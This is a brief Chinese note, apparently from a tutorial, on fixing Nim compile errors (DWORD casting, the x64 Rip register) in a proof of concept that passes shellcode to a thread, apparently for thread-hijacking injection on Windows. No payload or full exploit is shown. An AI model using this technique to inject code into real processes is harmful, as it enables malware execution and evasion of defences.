myThread(shellcode)
编译错误
第一个错误
报错信息：
Error: type mismatch: got 'int' for '28' but expected 'DWORD = int32'
数字类型转换通过使用类型来执行：
var
x: int32 = 1.int32 # 与调用int32(1)相同
原来 C 语言的写法
threadEntry.dwSize = sizeof(THREADENTRY32)
nim 语言的写法
threadEntry.dwSize = sizeof(THREADENTRY32).int32
#或者
threadEntry.dwSize = int32(sizeof(THREADENTRY32))
#或者
threadEntry.dwSize = cast[DWORD](sizeof(THREADENTRY32))
第二个错误
Error: undeclared field: 'Rip=' for type windef.CONTEXT [type declared in C:\Users\user\.nimble\pkgs\winim-3.9.0\winim\inc\windef.nim(547, 5)]
RIP是x64下指令指针寄存器，所以应该这样编译
nim c --cpu:amd64 -r poc.nim
